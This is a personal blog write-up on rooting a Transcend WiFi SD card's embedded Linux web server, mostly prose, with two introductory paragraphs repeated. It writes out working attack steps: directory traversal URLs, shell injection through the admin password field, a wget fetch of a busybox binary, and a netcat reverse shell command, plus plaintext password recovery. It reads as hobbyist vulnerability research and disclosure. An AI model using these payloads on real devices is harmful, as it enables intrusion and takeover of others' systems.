I am a recent and proud owner of a Transcend WiFi SD card.
It allows me to transfer pictures taken with my DSLR (which, being a
NEX, is quite portable) to any wifi-enabled device in a matter of
seconds. Since I love taking and sharing pictures while on the go, an SD
card which can wirelessly transfer pictures to my phone seemed like a
good solution. And it was! (and still is). The mobile apps could.. no, should be
improved quite a bit (why download a 7MB image once to render it, only
to download it AGAIN when tapping "download"?), but hey, it gets the job
done!
I was instantly amazed by the obvious fact that this small device can not only store 16GB -there's even a 32GB version available- in such a tiny space, but is an embedded system fully capable of running applications, including a webserver, communicating with other devices over WiFi, and even powering its own wireless network. But enough with the chatter: can we make this device do more than what it was designed to?
This post is written with the intention of exposing not only the exploits which will allow you to root (or jailbreak) the device, but also the process of discovering and exploiting bugs, some of which are a dead end, while others lead to theholy root B-)
I was instantly amazed by the obvious fact that this small device can not only store 16GB -there's even a 32GB version available- in such a tiny space, but is an embedded system fully capable of running applications, including a webserver, communicating with other devices over WiFi, and even powering its own wireless network. But enough with the chatter: can we make this device do more than what it was designed to?
This post is written with the intention of exposing not only the exploits which will allow you to root (or jailbreak) the device, but also the process of discovering and exploiting bugs, some of which are a dead end, while others lead to theholy root B-)
Prepare for the Hax
I suspected from the beginning that the card contained some sort of
embedded Linux system. If so, extending its functionality could be quite
easy! But first I would need to take control of the system. I had only
used the Android and iOS apps with it so far, but it was obvious that
the easiest solution for interfacing with PCs would be a web app. The
following thought came to my mind immediately:
"If the mobile apps are so crappy, then so must be the webapp/webserver... maybe it is full of bugs, ready to be exploited."
Boy, was I right!
As soon as you connect to the webserver (the card has IP 192.168.11.254,
default login admin/admin), you get the same crappy feeling as when
using the mobile apps. Bad "user feeling", good "hacker feeling". While
many use powerful tools such as scanners and fuzzers for
discovering vulneratiblities, the security of this system was so low
that I could find bugs to exploit just by poking around.
The section called "Files" stands out, as it allows you to browse
through the SD card. Unfortunately, it doesn't allow you to go to the
parent directory of the root of the SD card. Or does it? That would
certainly be helpful, as we could then see how the system works
internally, gain more information about it, maybe even run some code
through the web interface if we're lucky. You'll notice that the link
which shows "Parent Directory" points to the following URL (%2F is the
url-encoded form of the forward slash character "/"):
http://192.168.11.254/cgi-bin/file_list.pl?dir=%2Fwww%2Fsd
So let's just try browsing /www by navigating to http://192.168.11.254/cgi-bin/file_list.pl?dir=%2Fwww
Turns out that doesn't work. browsing /, /bin, /etc, or any other
directory fails. Awww, :( no luck. That would have been too easy! Well,
turns out it is not much more difficult, as the programmers were really careless. Navigating to ?dir=/www/sd/../.. should be the same as /, and it works!
Whoa, that was embarrassing! Looks like the programmers made sure paths
begin with /www/sd, but didn't check for the obvious parent directory
"../". This way, we can browse any file of the embedded system. Of
course, clicking the files won't execute them, just download them, which
is already a huge deal!
After navigating the filesystem and downloading scripts, it is obvious, and not surprising, that this system is usingbusybox,
as most binary files are the same size, hinting that they are symlinks
to the busybox executable. However, many aren't, such as most of the
scripts under /www/cgi-bin. These are probably the most interesting,
since they are the ones we can run by simply pointing our browser to
them.
Let the Hax begin
This looks promising! Now that we can access the internals of the
system, even if in read-only mode, gives us a huge advantage, because we
can study it and look for bugs to exploit :)
It doesn't take long to go over some of the scripts and catch
exploitable bugs. All of them are Perl scripts, by the way. Perl has a
nice feature when opening a file with the open() library call, because
it not only opens files, but runs programs if the file path is not a
path, but a shell command ending in a pipe. Such as open("cat /etc/passwd |").
Another misuse of open() would be to write a new file at a different
location, or overwrite an existing file, so we can write our own code
and run it afterwards. Let's see if any of the files are exploitable!
One file in particular stands out, because it contains an open() call which includes a user-supplied variable.kcard_upload.pl contains the following statements:
In fact, this file isn't really used at all in the web application!
kcard_upload.pl is hidden to users, but it is still there, fully
accessible under the cgi-bin directory. We can run it just by pointing
our browser to it. Now this would be doubly embarrassing, having an
exploitable script which isn't even used! But is it exploitable?
By reading the code in kcard_upload.pl, I can tell that there are three challenges that makes controlling the contents of variable $basename difficult.
The first is that $basename isn't really directly supplied by the
user, because it is the result of calling GetBasename($upfile). $upfile
IS directly supplied by the user (i.e. an attacker). More precisely, it
is the file path of the HTML form which asks you to select a file to
upload. But if we submit a path, GetBasename will only return the file
name at the end of the path, stripping away the rest. That makes
directory traversal (such as the ../../ trick from before) impossible.
The second is that $basename is transformed by the script into
uppercase characters, so whatever we pass along will be converted to
uppercase, which limits our strategies.
The third challenge is that the script kcard_upload.pl only allows PNG, JPG, BMP, and GIF files to be uploaded.
So is this a dead end? Not so fast!
If you look at the code more carefully, you will realize that although the programmers intended to limit uploaded file types to those mentioned above, they only really check for files containing those extensions, not ending in them.
In addition, the regular expression does not really check for a dot, as
in regular expressions a dot stands for any character except newlines.
The dot should have been escaped with a "\". I guess the programmers
intended to write /\.GIF$/, but only wrote /.GIF/, so we can bypass this
limitation by including any of those three-character combinations at
any position of our supplied path. Such as /hi/helPNGlo/asdf.something. Hardly an inconvenience!
As far as transforming our path to upper case is concerned, maybe we can
no longer call any system commands (as most are not upper case), but
maybe we can still upload new files, maybe putting in this way our own
scripts into the system. And we don't really care if those scripts have a
file name which is upper case or lower case.
Finally, if you'll recall, our path is transformed by GetBasename()
before it is stored in the variable $basename. What GetBasename() does
is split up the path and take only the filename at the end. So
/path/to/file.txt would become simply file.txt. This is bad, because it
means we can no longer manipulate the path, and put something like
"../../bin/our-malicious.script" because it will always end up as
"our-malicious.script" and stored in DCIM/198_WIFI/ :_(
Except, again, the code in GetBasename() contains a bug which is exploitable :_)
The code basically considers two cases: that the user-supplied path is
made of windows-style backward-slashes, and that the path is made of
forward slashes (used by every OS except windows). Or rather, I should
say that's the behaviour that was intended! What it really does,
is check whether it contains a backward slash, and then assumes that it
must be a windows path (backward slash separators), so it splits
according to backward slashes. It doesn't really check if the path is
made of forward slashes! So, given the following path:
/this/part/gets/discarded\/this/path/is/used
Since it contains one backward slash (which is a legal character), it
assumes it must be a windows path, so we end up having a basename which
is not really a base name, but actually a path. In our example, this
path would be: /this/path/is/used.
Et voilà! A path such as /PNG/something\/../../our-malicious.script will
bypass all measures and be written to the location of our choosing B-).
That's the good news. The bad news is that none of this will actually
work. Ouch! That's because the script incorrectly assumes that
../DCIM/198_WIFI exists, but since the script is being run from
/www/cgi-bin, that is not the case (the correct path should have been
../sd/DCIM/198_WIFI). Sadly, there is nothing we can do about that. It's
a bug that is hardcoded into the script. The developers must not have
paid much attention to this, as this script isn't supposed to be used by
the user (it's hidden, remember?). As far as I know, this is a dead end
in spite of our efforts :( Although maybe somebody can come up with an
innovative solution.
(In addition, the form which is printed by kcard_upload.pl does not call
itself, but calls a binary named wifi_upload, so we would need to do
the HTTP POST call ourselves.)
Hax on!
But behold! We can surely see that the code's quality is so bad that
there must be tons of other bugs (If you really want to get fancy, I'm
sure the /www/cgi-bin/wifi_upload tool,
called from kcard_upload.pl, is exploitable with stack and heap
overflows because it is littered with strcpy calls). In fact, I haven't
looked into most of them. There are other "dead ends" which I came
across which I haven't detailed in this post. I will detail one
particular bug which stands out and is really easy to exploit:
There are different ways of invoking shell commands directly from a perl
script, and if the programmers happen to invoke shell commands in a
careless way, maybe we can run our own shell commands! One way to run
shell code in a perl script is to use the system() call. It turns out
there are plenty of system() calls being made from .pl and .cgi files,
but their arguments are hardcoded, so there is not much to manipulate or
exploit. Another way to invoke shell code within perl is to use the
qx{} expression, but this isn't used anywhere. However, the third way is
to use back quotes to surround shell code, which is equivalent to using
qx{}. And it turns out there is plenty of that, and they are using
user-supplied inputs inside their shell code as well! This means that
their shell code is mixed with our own inputs, so it may be possible to
exploit to run our own code.
There is one particular line in kcard_save_config_insup.pl which feels like christmas:
This statement runs whatever command is specified by the variable
$update_auth, supplying $LOGIN_USR and $LOGIN_PWD as arguments. Both
arguments come straight from a form, which means their values are
controllable by us. No checks are being made on their contents! More
precisely, it is the form which is displayed when you enter the web
interface and click "Settings". You can access this form directly by
navigating to http://192.168.11.254/kcard_edit_config_insup.pl. It is
the admin user name and password. This means that by choosing a properly
crafted password, we can execute code! First, the password must contain
a semicolon in order to start a new shell command after the
$update_path command has executed. Then it can contain any shell code we
want, and finally the password must end with a # symbol (which starts a
comment) so everything what comes after it will be ignored (the ">
/mnt/mtd/config/ia.passwd" part).
This is easily testable by selecting a password such as: "admin; echo haxx > /tmp/hi.txt #"
The form, however, performs sanity checks and won't allow long passwords
and strange characters. Due to the fact that these checks are done in
javascript, and not server-side, we can bypass them very easily. I used
the Form Editor Chrome extension to get rid of these issues.
After submitting the form, we can easily check if the exploit has been
effective by visiting /tmp using the exploit in the beginning of this
post. We can even download the file and check that its contents are
valid.
Remember to restore your password to "admin", or you will need to reset your card to factory settings after using this exploit (restoring doesn't touch your pics, though).
Got root?
At this point we are not only able to read any file in the embedded
system's filesystem, but also execute shell code and write files.
However, we are still missing proper shell access.
Looking at the directory contents of /usr/bin we can tell that there are
lots of goodies for us to create a reverse shell: netcat (nc binary),
telnet, etc. A reverse shell works by listening for incoming connections
on a particular port in our PC, and have the target system connect to
it, while running a shell which takes input from that connection, and
prints all output over that connection. This is achievable in more ways
than you can count with your hands and feet, but the easiest is to
invoke netcat:
nc 192.168.11.11 1337 -e /bin/bash
This will tell netcat to connect to our PC (which is assigned the IP
192.168.11.11) on port 1337, and pipe bash through it. Of course, in
order to run this you have to use the previously described exploit,
changing your password to "admin; nc 192.168.11.11 1337 -e /bin/bash #".
Unfortunately, this won't work. So will any trick involving telnet and
other tools. Why is that not working? The symlinks for nc, telnet and
others are in /usr/bin, and the command syntax is correct! It turns out
all of these tools have been disabled in the busybox build which is
included in our beloved SD card's embedded Linux :_( We can test this by
trying to invoke telnet or netcat and redirecting stdout and stderr to
/tmp/hi.txt, with the following command: "nc 192.168.11.11 1337 -e
/bin/bash &> /tmp/hi.txt". After downloading hi.txt, its contents
will read something along the lines of: "nc: applet not found", which
means nc is not enabled. Bummer! So are we limited to running commands
over that crappy form, and stuck with no networking utils? Of course
not! :)
As it happens, wget is used by some transcend scripts, and this utility
is enabled. It will allow us to download another fully-fledged busybox
binary :))) I'm too lazy to compile one myself, so I got a pre-compiled
busybox binary from http://busybox.net/downloads/binaries/latest/.
I put the busybox-armv5l binary at my PC's local webserver (my SD card
was not configured in Internet mode), so I just ran "wget
http://192.168.11.11/busybox-armv5l" using the form exploit in order to
download it into the SD card's /www/cgi-bin directory. I also ran "chmod
a+x /www/cgi-bin/busybox-armv5l" just to make sure it could be run
afterwards.
Finally, I could get my remote shell! My PC listens at port 1337 by
running "nc -vv -l 1337", and the SD card opens a shell on that port by
running "/www/cgi-bin/busybox-armv5l nc 192.168.11.11 1337 -e
/bin/bash". And since that busybox binary has all utilities enabled, we
can run "/www/cgi-bin/busybox-armv5l <command>" over the remote
shell to get a richer set of shell commands! For instance,
"/www/cgi-bin/busybox-armv5l id" will tell us we are already running as
root!
Even more Hax
In case you ever forget your password and need to recover it, you could
restore the SD card to factory settings (there is a special image which,
when deleted, resets the SD card after a reboot). However, you can
recover your plaintext password due to a really, really, really careless mistake. There is one of those "hidden" perl scripts, kcard_login.pl,
which will do the weirdest login procedure EVAR. It retrieves the
password from the wsd.conf file, and then serves javascript code to the
user's browser which checks the password for validity. Yes, you read
right. The check is done in javascript!
Which means all you have to do to recover the password in plaintext is
to point your browser to http://192.168.11.254/cgi-bin/kcard_login.pl,
and see the page's source code. The password will be right there.
No comments :
Post a Comment